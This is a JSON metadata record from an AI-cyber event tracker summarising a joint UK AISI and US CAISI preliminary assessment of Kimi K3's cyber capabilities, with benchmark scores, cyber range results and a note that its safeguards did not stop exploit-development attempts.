{
 "license": "CC-BY-4.0",
 "attribution": "Fide AI, Agentic Cyber Explorer",
 "url": "https://agentic-cyber-explorer.pages.dev/events/aisi-caisi-kimi-k3-cyber-assessment-2026/",
 "asOf": "2026-09-26",
 "id": "aisi-caisi-kimi-k3-cyber-assessment-2026",
 "date": "2026-07-23",
 "datePrecision": "day",
 "title": "UK AISI and US CAISI jointly assess Kimi K3 cyber capability as trailing US frontier models",
 "lane": "capability",
 "kind": "eval-report",
 "summary": "The UK AI Security Institute and US CAISI published a joint preliminary assessment of Moonshot AI's open-weight Kimi K3. They report it trails leading US closed models on exploit development and a 32-step cyber range, and that its safeguards did not stop it attempting exploit development.",
 "whyItMatters": "It is an example of the two governments jointly evaluating a foreign open-weight model's cyber capability within a week of release.",
 "actors": [
  "uk-aisi",
  "us-caisi",
  "moonshot-ai"
 ],
 "topics": [
  "capability-evaluation",
  "open-weight-diffusion",
  "exploit-development"
 ],
 "atlas": [
  "model",
  "eval-environment"
 ],
 "artifacts": [
  "exploitbench",
  "kimi"
 ],
 "sources": [
  {
   "url": "https://www.aisi.gov.uk/blog/preliminary-assessment-of-kimi-k3s-cyber-capabilities",
   "publisher": "UK AI Security Institute",
   "title": "UK AISI / CAISI Preliminary Assessment of Kimi K3's Cyber Capabilities",
   "date": "2026-07-23",
   "type": "primary",
   "accessed": "2026-09-25"
  }
 ],
 "keyFacts": [
  {
   "fact": "ExploitBench: Kimi K3 32% success; GLM-5.2 24%; Kimi K3 achieved arbitrary code execution in 0/41 samples vs 20/41 for top US models.",
   "locator": "ExploitBench results"
  },
  {
   "fact": "'The Last Ones' cyber range: Kimi K3 reached step 17 of 32 on average vs 28.5 for leading US models, and completed the range in 1 of 10 attempts.",
   "locator": "Cyber range results"
  },
  {
   "fact": "Kimi K3's safeguards did not prevent it from attempting cyber exploit development.",
   "locator": "Safeguards finding"
  }
 ],
 "significance": 3,
 "fideQuestions": [
  "FID-075"
 ],
 "methods": [
  "ai-assisted-exploitation",
  "cyber-ranges"
 ],
 "review": "assistant-drafted",
 "addedOn": "2026-09-25"
}